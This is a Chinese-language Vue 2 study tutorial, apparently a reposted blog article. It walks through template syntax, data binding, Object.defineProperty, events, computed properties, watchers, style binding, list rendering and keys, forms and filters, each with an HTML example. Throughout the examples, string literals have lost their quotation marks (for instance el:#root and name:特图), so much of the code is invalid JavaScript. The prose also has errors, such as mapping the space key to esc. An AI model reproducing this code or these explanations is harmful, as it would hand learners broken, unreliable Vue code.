vue2.（Vue2学习教程（图文齐全，附带gif动图更加简单易懂））

时间2025-07-30 19:39:30分类IT科技浏览4710

导读：Vue学习笔记 1.初识vue，hello world...

Vue学习笔记

1.初识vue ，hello world

初识vue 1 、想让vue工作，就必须创建一个vue实例，且要传入一个配置对象 2.root容器里的代码依然符合HTML规范，只不过混入了一些特殊的vue语法 3.root容器里的代码称为[vue模板] 4.vue实例和容器是一一对应关系。 5.真实开发中只有一个vue实例，并且会配合组件一起使用 6.{{xxx}}中的xxx要写JS表达式，且xxx可以自动读取到data中的所有属性 7.一旦data中数据发生变化，那么页面中会用到该数据的地方也会自动更新注意区分：JS表达式bJS代码（语句） 1.表达式：一个表达式会产生一个值，可以放在任何一个需要值的地方（1）a (2)a+b (3)demo(1) (4)x===y?a:b 2.Js代码（1）if(){} (2)for(){} <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title>Js轮播图</title> <script src="./vue.js"></script> </head> <body>  <div id="root"> <h1>hello: {{name}} 年龄：{{age}} 地址：{{address}}</h1> </div>  <script type="text/javascript"> const x=new Vue({ el:#root, //el用于指定当前vue实例为哪个容器服务，值通常为css选择器字符串 data:{ // data中用于存储数据，数据供el所指定的容器去使用，值暂时先写成一个对象 name:特图, age:18, address:"上海" } }) </script> </body> </html>

(动态修改效果展示)

2.模板语法

Vue模板有2大类 1.插值语法：功能：用于解析标签体内容写法：{{xxx}},xxx是js表达式，且可以直接读取到data中的所有属性 2.指令语法功能：用于解析标签，（包括标签属性，标签体内容，绑定事件）例子：v-bind:href="xxx"或简写为：href="xxx",xxx同时要写JS表达式且可以直接读取到data中的所有属性备注：vue中有很多的指令，且形式都是v-???,此处我们只是拿v-bind举例子 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title>Js轮播图</title> <script src="./vue.js"></script> </head> <body>  <div id="root"> <h1>插值语法</h1> <h1>hello: {{name}} 年龄：{{age}} 地址：{{address}}</h1> <hr> <h1>指令语法</h1>  <a v-bind:href="school.url.toUpperCase()">点我去{{school.name}}官网</a> <a :href="school.url" :x="school.x">点我去{{school.name}}官网</a> </div>  <script type="text/javascript"> const x=new Vue({ el:#root, data:{ name:特图, age:18, address:"上海", // 二级对象 school:{ name:尚硅谷, url:"http://www.baidu.com", x:"我是二级中的x" } } }) </script> </body> </html>

3.数据绑定

vue中有两种数据绑定的方式 1.单项数据绑定（v-bind）:数据只能从data流向页面 2.双向数据绑定（v-modle）:数据不仅能从data流向页面，还可以从页面流向data 备注： 1.双向绑定一般应用在表单类元素上（如input,select等） 2.v-model:value 可以简写为v-model,因为v-model默认收集的就是value值 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title>Js轮播图</title> <script src="./vue.js"></script> </head> <body>  <div id="root">   单项数据绑定：<input type="text" v-bind:value="name"><br> 双向数据绑定：<input type="text" v-model:value="name"><br>  单项数据绑定：<input type="text" :value="name"><br> 双向数据绑定：<input type="text" v-model="name"><br>  <h2 v-model="name">你好</h2> </div>  <script type="text/javascript"> const x=new Vue({ el:#root, data:{ name:特图, age:18, address:"上海", // 二级对象 school:{ name:尚硅谷, url:"http://www.baidu.com", x:"我是二级中的x" } } }) </script> </body> </html>

4.el与data的两种写法

data与el的两种写法 1.el有两种写法（1）new Vue时放置el属性（2）先创建Vue实例，随后再通过vm.$mount(XXX)来指定el的值 2.data有两种写法（1）对象式（2）函数式学习到组件时，data必须使用函数式 3.一个重要原则：由Vue管理的函数，一定不要写箭头函数，一旦写了箭头函数，this就不在是vue实例了 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title>Js轮播图</title> <script src="./vue.js"></script> </head> <body>  <div id="root"> <h2 >你好,{{name}}</h2> </div>  <script type="text/javascript"> // 第一种data和el的写法 /* const x=new Vue({ el:#root, data:{ name:特图, age:18, address:"上海", } }) */ /* 第二种data和el的写法 */ const v=new Vue({ data(){ return{ name:"特图", age:18, address:"上海", } } }) v.$mount("#root"); </script> </body> </html>

（第二种与之前的等效）

5.MVVM模型

MVVM模型 1.M：模型（model）：data中的数据 2.V：视图（vew）：模板代码 3.VM：视图模型（viewModel）：vue实例对象观察发现： 1.data中所有的属性，最后都出现在了vm身上 2.vm身上的所有的属性及vue原型上的所有属性，在vue模板都可以直接使用

6.object.defineProperty

相对于Java中的get,set函数

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title>Js轮播图</title> <script src="./vue.js"></script> </head> <body>  <script type="text/javascript"> let number=18; let person={ name:张三, sex:男 } Object.defineProperty(person,age,{ // enumerable：true 控制属性是否可以枚举，默认值是false // writeable：true 控制属性是否可以被修改，默认值是false // configurable：true 控制属性是否可以被删除，默认值是false // 当有人读取person的age属性时，getter函数就会被调用，且返回值就是age的值 get(){ console.log("有人读取age属性"); return number }, // 当有人修改person的age属性时，setter函数就会被调用，且会收到修改的值 set(value){ console.log("有人修改了age属性，其值是",value); number=value } }) </script> </body> </html>

7.数据代理

数据代理：通过一个对象代理对另一个对象中的属性的操作（读/写）

8.Vue中的数据代理

1.Vue中的数据代理: 通过vm对象来代理data对象中属性的操作 2.vue中数据代理的好处更加方便的操作data中的数据 3.基本原理通过object.defineProperty()把data对象中所有属性添加到vm 为每一个添加到vm上的属性，都指定一个getter/setter 在getter/setter内部去操作（读/写）data中对应的属性

9.事件处理

事件的基本使用 1.使用v-on:xxx或@xxx 绑定事件，其中xxx是事件名 2.事件的回调需要配置在method对象中，最终会在vm上 3.methods中配置的函数，不要有箭头函数，否则this就不是vm了 4.methods中配置的函数，都是被vue所管理的函数，this的指向是vue或组件实例对象 5.@click="demo"和@click="click($event,xxx)"效果一样但是后者可以传参和使用event对象 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title>Js轮播图</title> <script src="./vue.js"></script> </head> <body> <div id="root"> <h1>欢迎来到{{name}}学习</h1> <button @click="showinfo1">点我提示信息1（不传参）</button> <button @click="showinfo2($event,66)">点我提示信息2（传参）</button> </div>  <script type="text/javascript"> const vm=new Vue({ el:"#root", data:{ name:"尚硅谷", }, //函数写在这里比较高效 methods:{ showinfo1(){ alert("同学你好"); }, showinfo2($event,value){ alert(value+"号"+"同学你好"); } } }) </script> </body> </html>

10.事件修饰符

Vue中的事件修饰符（属性）： 1.prevent:阻止默认事件（常用） 2.stop:终止事件冒泡（常用） 3.once：事件只触发一次（常用） 4.capture：使用事件的捕获阶段 5.self：只有event.target是当前操作的元素时才触发事件 6.passive：事件的默认行为立即执行，无需等待事件回调执行完毕

11.键盘事件

Vue中常用的按键别名：回车=》enter 删除=》delete（捕获“删除 ”和退格键）退出=》esc 空格=》esc 换行=》tab 上=》up 下=》down 左=》left 右=》right 2.Vue未提供别名的按键。可以使用按键原始的key值去绑定，但是要注意转为kebab-case(短横线命名法) 如：CapsLock要改写为caps-lock 3.系统修饰符（用法特殊）：ctrl,atl,shift,meta(win键) （1）配合keyup使用：按下修饰键的同时，再按下其他键，事件才被触发（2）配合keydown使用，正常触发事件 4.也可以使用keycode去指定具体的按键（不推荐） 5.Vue.config.keyCodes.自定义键名，可以去定义按键别名 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title>Js轮播图</title> <script src="./vue.js"></script> </head> <body> <div id="root"> <h2>欢迎来到{{name}}学习</h2> <input type="text" placeholder="按下ctrl+加任意键获得输入值" @keyup.ctrl="showinfo"> <input type="text" placeholder="按下回车获得输入值" @keyup.enter="showinfo"> </div> <script type="text/javascript"> const vm=new Vue({ el:"#root", data:{ name:"尚硅谷", }, methods:{ showinfo(e){ console.log(e.target.value) } } }) </script> </body> </html>

12.事件小技巧

1.事件修饰符可以结合使用如：@click.prevnt.stop——————>先停止默认事件再停止冒泡 2.键盘事件名称也是可以结合使用的如：@keyup.ctrl.y————————>同时按下ctrl和y才触发事件

13.姓名案例

14.计算属性

计算属性 1.定义：要用的属性不存在，要通过已有属性计算得来 2.原理：底层借助了Object 。defineproperty方法提供的getter和setter 3.get函数什么时候执行？（1）初次读取时会执行一次（2）当依赖的数据发生改变时会被再次调用 4.优势：与methods实现出现在vm上，直接读取使用即可 5.备注： 1.计算属性最终会出现在vm上，直接读取即可 2.如果计算属性要被修改，那必须写set函数去响应修改，且set中要计算时依赖的数据发生改变 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title></title> <script src="./vue.js"></script> </head> <body> <div id="root"> 姓：<input type="text" v-model="first_name"><br> 名：<input type="text" v-model="last_name"><br> <span>全名:{{fullname}}</span> </div> <script type="text/javascript"> const vm=new Vue({ el:"#root", data:{ first_name:张, last_name:三 }, computed:{ fullname:{ get(){ console.log("get被调用了") return this.first_name+-+this.last_name; }, set(value){ console.log("set被调用了") var arr=value.split("-") this.first_name=arr[0] this.last_name=arr[1]; } } } }) </script> </body> </html>

（初次刷新页面）

（修改全名）

15.计算属性的简写

16.监视属性

监视属性： 1.当被监视的属性变化时，回调函数自动调用，进行相关操作 2.监视的属性必须存在，才能进行监视 3.监视的两种写法（1）new Vue时传入watch配置（2）通过vm.$watch监视 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title></title> <script src="./vue.js"></script> </head> <body> <div id="root"> <h2>今天天气{{info}}</h2> <button @click="changeWeather">切换天气</button> </div> <script type="text/javascript"> var vm=new Vue({ el:"#root", data:{ ishoot:true }, computed:{ info(){ return this.ishoot?炎热:凉爽 } }, methods: { changeWeather(){ this.ishoot=! this.ishoot; } }, // 第一种写法 /* watch:{ ishoot:{ immediate:true, //初始化时让handler调用一下 // handler什么时候调用，当ishot发生改变时 handler(newvalue,oldvalue){ console.log("ishot被修改了",newvalue,oldvalue) } } }, */ }) // 第二种写法 vm.$watch(ishoot,{ immediate:true, //初始化时让handler调用一下 // handler什么时候调用，当ishot发生改变时 handler(newvalue,oldvalue){ console.log("ishot被修改了",newvalue,oldvalue) } }) </script> </body> </html>

17.深度监视

深度监视： 1.Vue中的watch默认不监测对象内部值的改变（一层） 2.配置deep:true可以监测对象内部值改变（多层）备注（1）.vue自身可以监测对象内部值的改变，但Vue提供的watch默认不可以（2）使用watch时根据数据的具体结构，决定是否采用深度监视 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title></title> <script src="./vue.js"></script> </head> <body> <div id="root"> <h2>今天天气{{info}}</h2> <button @click="changeWeather">切换天气</button> <hr> <h2>a的值是：{{numbers.a}}</h2> <button @click="numbers.a++">点我让a+1</button> </div> <script type="text/javascript"> var vm=new Vue({ el:"#root", data:{ ishoot:true, numbers:{ a:1, b:1 } }, computed:{ info(){ return this.ishoot?炎热:凉爽 } }, methods: { changeWeather(){ this.ishoot=! this.ishoot; } }, watch:{ ishoot:{ immediate:true, //初始化时让handler调用一下 // handler什么时候调用，当ishot发生改变时 handler(newvalue,oldvalue){ console.log("ishot被修改了",newvalue,oldvalue) } }, numbers:{ // 深度监视 deep:true, handler(){ console.log("number改变了") } } }, }) </script> </body> </html>

（监测到多层数据中的数据变化）

18.监视的简写

//当不需要配置如深度监视和立刻执行的时候可以用简写形式，需要时不可以简写 watch:{ // 简写形式1 ishoot(newvalue,oldvalue){ console.log("ishot被修改了",newvalue,oldvalue) } }, }) // 简写形式2 vm.$watch(ishoot,function(newvalue,oldvalue){ console.log("ishot被修改了",newvalue,oldvalue) }) <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title></title> <script src="./vue.js"></script> </head> <body> <div id="root"> 姓：<input type="text" v-model="first_name"><br> 名：<input type="text" v-model="last_name"><br> <span>全名:{{fullname}}</span> </div> <script type="text/javascript"> const vm=new Vue({ el:"#root", data:{ first_name:张, last_name:三, fullname:张-三 }, // methods:{ // fullname(){ // return this.first_name+this.last_name; // } // }, watch:{ first_name(val){ //修改姓后3秒钟后修改全名 // 这里的延时器必须写成箭头函数的形式，因为该函数是一个对象的方法，则它的this指针指向这个对象 // 如果写出正常JS函数，那么this就会是window ，无法执行修改任务 setTimeout(()=>{ this.fullname=val+-+this.last_name },3000) }, last_name(val){ this.fullname=this.firstname+-+val } } }) </script> </body> </html>

19.computed和watch之间的对比

两者之间的区别： 1.computed能完成的功能，watch都可以完成 2.watch能完成的功能，computed不一定能完成，例如：watch可以进行异步操作两个重要的小原则（1）所有被Vue管理的函数，最好写成普通函数，这样this的指向才是vm或组件实例对象（2）所有不被Vue所管理的函数（定时器的回调函数，ajax的回调函数，promise的回调函数），最好写成箭头函数，这样this的指向才是vm或组件实例对象

20.绑定class样式和style样式

绑定样式： 1.class样式写法：class=xxx,xxx可以是字符串，对象，数组字符串写法适用于样式的类名不确定，需要动态指定数组写法，适用于：要绑定的样式个数不确定，名字也不确定对象写法，适用于：要绑定的样式个数确定，名字也确定，但要动态决定要不要使用 2.style样式 :style=xxx,其中xxx是动态值组成的对象 :style=[a,b] ，其中a,b是样式对象 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title></title> <script src="./vue.js"></script> <style> .basic{ width: 200px; height: 90px; border: 1px solid black; } .happy{ background-color: rgb(241, 139, 156); border: 5px solid red; } .sad{ background-color: gray; border: 5px solid green; } .normal{ background-color: rgba(45, 144, 236, 0.836); } .a1{ background-color: #bfa; } .a2{ font-size: 50px; text-shadow: orange; } .a3{ border-radius: 20px; } </style> </head> <body> <div id="root">  <div class="basic" :class="mood" @click="changeMood"> {{name}}</div> <br>  <div class="basic" :class="classArr">{{name}}</div> <br>  <div class="basic" :class="classobj">{{name}}</div> <br>  <div class="basic" :style="styleobj">{{name}}</div> <br>  <div class="basic" :style="[styleobj,styleobj2]">{{name}}</div> </div> <script type="text/javascript"> const vm=new Vue({ el:#root, data:{ name:艾米莉亚, mood:"normal", classArr:[a1,a2,a3], classobj:{ a1:true, a2:true, }, styleobj:{ fontSize:40px, color:red }, styleobj2:{ backgroundColor:orange }, }, methods: { changeMood(){ var arr=[happy,normal,sad]; var index=Math.floor(Math.random()*3) this.mood=arr[index] } }, }) </script> </body> </html>

21.条件渲染

条件渲染： 1.v-if 写法：（1）v-if=表达式（2）v-else-if=表达式（3）v-else=表达式适用于：切换频率较低的场景特点：不展示的dom元素直接移除注意：v-if可以和v-else-if ，v-else一起使用，要求结构不能被打断如： <h2 v-if=n==1></h2> <h2 v-else-if=n==2></h2> <h2>打断结构</h2> <h2 v-else></h2> 这样的写法是不对的 2.v-show 写法：v-show=表达式适用于：切换频率较高的场景特点：不展示的Domain元素未被移除，仅仅是使用样式隐藏掉 3.备注：使用v-if时元素可能无法获取到，而使用v-show一定可以获取到 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title></title> <script src="./vue.js"></script> <style> </style> </head> <body> <div id="root">  <h2 v-show="false">hello</h2> <h2 v-show="1==1">world</h2> <hr>  <h2>当前的n值为{{n}}</h2> <button @click="n++">点我n+1</button> <div v-if="n==1">1</div> <div v-else-if="n==2">2</div> <div v-else-if="n==3">3</div> <div v-else>else结构</div> <hr>  <template v-if="n==1"> <h2>486</h2> <h2>艾米莉亚</h2> <h2>帕克</h2> </template> </div> <script type="text/javascript"> const vm=new Vue({ el:#root, data:{ name:艾米莉亚, n:0, }, methods: { changeMood(){ var arr=[happy,normal,sad]; var index=Math.floor(Math.random()*3) this.mood=arr[index] } }, }) </script> </body> </html>

22.列表渲染

v-for指令 1.用于展示列表数据 2.语法：v-for=(item,index) in xxx :key=yyy 3.可遍历，数组，对象，字符串（用的少），指定次数（用到很少） <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title></title> <script src="./vue.js"></script> <style> </style> </head> <body> <div id="root">  <h1>人员信息（遍历数组）</h1> <ul> <li v-for="(p,index) in persons" :key="p.id"> {{p.name}}--{{p.age}} </li> </ul> <hr>  <h1>汽车信息（遍历对象）</h1> <ul> <li v-for="(k,value) in car" :key="index"> {{value}}--{{k}} </li> </ul> <hr>  <h1>测试遍历字符串（用的少）</h1> <ul> <li v-for="(char,index) in str" :key="index"> {{char}}--{{index}} </li> </ul> <hr>  <h1>遍历指定次数（用到少）</h1> <ul> <li v-for="(number,index) in 5"> {{number}}--{{index}} </li> </ul> <hr> </div> <script type="text/javascript"> const vm=new Vue({ el:#root, data:{ persons:[ {id:001,name:张三,age:18}, {id:002,name:李四,age:19}, {id:003,name:王五,age:20} ], car:{ name:A8, price:70万, color:black }, str:hello }, methods: { changeMood(){ var arr=[happy,normal,sad]; var index=Math.floor(Math.random()*3) this.mood=arr[index] } }, }) </script> </body> </html>

23.key的作用和原理

面试题：react ，vue中的key有什么作用（key的内部原理） 1.虚拟DOM中Key的作用 key是虚拟对象的标识，当数据发生变化时，vue会根据[新数据]生成[新的虚拟DOM] 随后vue进行[新的虚拟DOM]与[旧的虚拟DOM]的差异比较，比较规则如下： 2.对比规则：（1）旧虚拟DOM中找到了与新虚拟DOM相同的key： 1 、若虚拟DOM中内容没变，直接使用之前的真实DOM 2 、若虚拟DOM中内容变了，则生成新的真实DOM，随后替换页面中之前的真实DOM （2）旧虚拟DOM中未找到与新虚拟DOM相同的key 创建新的真实DOM ，随后渲染到页面 3.用index作为key可能会引发的问题 1.若对数据进行：逆序添加，逆序删除等跑环顺序操作会产生没有必要的真实DOM更新==>界面效果没有问题，但效率低 2.如果结构中还包括输入类的DOM：会产生错误DOM更新===>界面有问题 4.开发任何选择key? 1.最好使用每一条数据的唯一标识作为key ，比如id,手机号，身份证号，学号等唯一值 2.如果不存在对数据的逆序添加，逆序删除顺序操作，只用于渲染列表用于展示，使用index作为key是没有问题的

（为什么不写key和使用index作为key会出现数据错位：index错乱）

（为什么使用唯一标识数据不错位）

24.列表过滤

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <title></title> <script src="./vue.js"></script> <style> </style> </head> <body> <div id="root"> <h2>人员列表</h2> <input type="text" placeholder="请输入人名" v-model="keyWord"> <ul> <li v-for="(p,index) in filPersons" :key="p.id"> {{p.name}}--{{p.age}}--{{p.sex}} </li> </ul> </div> <script type="text/javascript"> const vm=new Vue({ el:#root, data:{ keyWord:, persons:[ {id:001,name:马冬梅,age:18,sex:女}, {id:002,name:周冬雨,age:19,sex:女}, {id:003,name:周杰伦,age:20,sex:男}, {id:004,name:温兆伦,age:21,sex:男} ], // filPersons:[] }, methods: { add(){ const p={id:004,name:老王,age:40} this.persons.unshift(p) } }, // 用watch实现 /* watch:{ keyWord:{ immediate:true, handler(val){ this.filPersons= this.persons.filter((p)=>{ return p.name.indexOf(val)!==-1 }) } } } */ // 用computed实现 computed:{ filPersons(){ return this.persons.filter((p)=>{ return p.name.indexOf(this.keyWord)!==-1 }) } }, }) </script> </body> </html>

25.列表排序

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <title></title> <script src="./vue.js"></script> <style> </style> </head> <body> <div id="root"> <h2>人员列表</h2> <input type="text" placeholder="请输入人名" v-model="keyWord"> <button @click="sortType=2">年龄升序</button> <button @click="sortType=1">年龄降序</button> <button @click="sortType=0">原顺序</button> <ul> <li v-for="(p,index) in filPersons" :key="p.id"> {{p.name}}--{{p.age}}--{{p.sex}} </li> </ul> </div> <script type="text/javascript"> const vm=new Vue({ el:#root, data:{ sortType:0, //0原顺序，1降序，2升序 keyWord:, persons:[ {id:001,name:马冬梅,age:30,sex:女}, {id:002,name:周冬雨,age:32,sex:女}, {id:003,name:周杰伦,age:19,sex:男}, {id:004,name:温兆伦,age:21,sex:男} ], // filPersons:[] }, computed:{ filPersons(){ const arr= this.persons.filter((p)=>{ return p.name.indexOf(this.keyWord)!==-1 }) // 判断一下是否排序 if(this.sortType){ arr.sort((p1,p2)=>{ return this.sortType==1?p2.age-p1.age:p1.age-p2.age }) } return arr } }, }) </script> </body> </html>

26.Vue监视数据的原理

1.vue会监视data中所有层次的数据 2.如何监视对象中的数据？通过setter实现监视且要在new Vue时就传入要监视的的数据（1）对象中后追加的属性，Vue默认不做响应式处理（2）如需给后添加的属性做响应式。要用如下的API Vue.set(target.propertyName/index,value)或 vm.$set(target,propertyName/index,value) 3.如何监测数组中的数据通过包裹数组更新元素的方法实现，本质就是做了两件事（1）调用原生对应的方法对数组进行更新（2）重新解析模板，进而更新页面 4.在Vue修改数组中某个元素一定要用如下方法（1）使用这些API:push(),pop(),shift(),unshift(),splice(),sort(),reverse() (2)Vue.set()或vm.$set() 特别注意：Vue.set()和vm.$set()不能给vm或vm的根数据对象添加属性 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <title></title> <script src="./vue.js"></script> <style> </style> </head> <body> <div id="root"> <h1>学生信息</h1> <button @click="student.age++">年龄加一岁</button><br> <button @click="addSex">添加性别属性，默认值：男</button><br> <button @click="student.sex=未知">修改性别</button><br> <button @click="addFriend">在列表首位添加一个朋友</button><br> <button @click="updataFirstFriendName">修改第一个朋友的名字为：张三</button><br> <button @click="addhobby">添加一个爱好</button><br> <button @click="drive">修改第一个爱好为开车</button><br> <button @click="remove">过滤掉爱好中的抽烟</button> <h3>姓名：{{student.name}}</h3> <h3>年龄：{{student.age}}</h3> <h3 v-if="student.sex">性别：{{student.sex}}</h3> <h3>爱好:</h3> <ul> <li v-for="(h,index) in student.hobby" :key="index">{{h}}</li> </ul> <h3>朋友们：</h3> <li v-for="(f,index) in student.friends" :key="index"> {{f.name}}--{{f.age}} </li> </div> <script type="text/javascript"> const vm=new Vue({ el:#root, data:{ student:{ name:tom, age:18, hobby:[抽烟,喝酒,烫头], friends:[ {name:jerry,age:35}, {name:tony,age:36} ] }, }, methods: { addSex(){ // Vue.set(this.student,sex,男) vm.$set(this.student,sex,男) }, addFriend(){ this.student.friends.unshift({name:jike,age:70}) }, updataFirstFriendName(){ this.student.friends[0].name=张三 }, addhobby(){ this.student.hobby.push("学习") }, drive(){ this.student.hobby.splice(0,1,开车) }, remove(){ this.student.hobby=this.student.hobby.filter((h)=>{ return h!=抽烟 }) } }, }) </script> </body> </html>

27.收集表单数据

收集表单数据 1.input type=‘text’,则v-model收集的是value值，用户输入的就是value值 2.input type=radio ，则v-model收集的value值，且要给标签配置value值 3.input type=checkbox，那么收集的就是checked （1）.没有配置input的value属性，那么收集的就是checked（勾选或未勾选，是布尔值）（2）.配置input的value属性 1.v-model的初始值是非数组，那么收集的就是checked（勾选或未勾选，是布尔值） 2.v-model的初始值是数组，那么收集的就是value组成的数组 4.v-model的三个修饰符： lazy：失去焦点再收集数据 number：输入字符串转为有效的数字 trim：输入首尾空格过滤 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <title></title> <script src="./vue.js"></script> <style> </style> </head> <body> <div id="root"> <form @submit.prevent="demo"> 账号：<input type="text" v-model.trim="userinfo.account"><br> 密码：<input type="password" v-model=userinfo.password ><br> 年龄：<input type="number" v-model.number="userinfo.age"><br> 性别：男<input type="radio" name="sex" v-model="userinfo.sex" value="male" > 女<input type="radio" name="sex" v-model="userinfo.sex" value="female" ><br> 爱好：学习：<input type="checkbox" v-model="userinfo.hobby" value="study" > 打游戏：<input type="checkbox" v-model="userinfo.hobby" value="game" > 吃饭：<input type="checkbox" v-model="userinfo.hobby" value="eat" > <br> 所属校区： <select v-model="userinfo.city" > <option value="">请选择校区</option> <option value="beijing">北京</option> <option value="shanghai">上海</option> <option value="shenzhen">深圳</option> <option value="wuhan">武汉</option> </select> <br> 其他信息： <textarea v-model.lazy="userinfo.other" ></textarea> <br> <input type="checkbox" v-model="userinfo.agree" >阅读并接受<a href="">用户协议</a> <button>提交</button> </form> </div> <script type="text/javascript"> const vm=new Vue({ el:#root, data:{ userinfo:{ account:, password:, age:, sex:male, hobby:[], city:, other:, agree:, } }, methods: { demo(){ alert(JSON.stringify(this.userinfo)) } }, }) </script> </body> </html>

28.过滤器

过滤器：定义：对要显示的数据进行特定格式化后显示（适用一些简单逻辑的处理）语法： 1.注册过滤器Vue.filter(name,classback)或new Vue(filter:{}) 2.使用过滤器：{{xxx|过滤器名}}或v-bind：属性=xxx|过滤器名备注： 1.过滤器也可以接受额外参数，多个过滤器也可以串联 2.并没有改变原理的数据，是产生新的对应属性 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <title></title> <script src="./vue.js"></script> <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.0/dayjs.min.js"></script> <style> </style> </head> <body> <div id="root"> <h2>显示格式化后的时间</h2>  <h3>现在是：{{fmtTime}}</h3>  <h3>现在是{{getFmtTime()}}</h3>  <h3>现在是：{{time | timeFormater}}</h3>  <h3>现在是：{{time | timeFormater(YYYY_MM_DD)|myslice}}</h3> <h3 :x="msg |myslice">阿托莉</h3> </div> <div id="root2"> <h1>{{name|myslice}}</h1> </div> <script type="text/javascript"> // 全局过滤器 Vue.filter(myslice,function(value){ return value.slice(0,4) }) const vm=new Vue({ el:#root, data:{ time:Date.now(), msg:时间啊，你是多么美丽 }, methods: { getFmtTime(){ return dayjs(this.time).format(YYYY年MM月DD日 HH:mm:ss) } }, computed:{ fmtTime(){ return dayjs(this.time).format(YYYY年MM月DD日 HH:mm:ss) } }, //局部过滤器 filters:{ timeFormater(value,str=YYYY年MM月DD日 HH:mm:ss){ return dayjs(value).format(str) }, } }) new Vue({ el:#root2, data:{ name:hello world }, }) </script> </body> </html>

29.内置指令

前面学过的指令： 1.v-bind：单向绑定解析表达式，可简写为:xxx 2.v-model:双向数据绑定 3.v-for：遍历数组/对象/字符串 4.v-on：绑定事件监听，可简写为@ 5.v-if：条件渲染（动态控制节点是否存在） 6.v-else：条件渲染（动态控制节点是否存在） 7.v-show：条件渲染（动态控制节点是否展示）

1.v-text

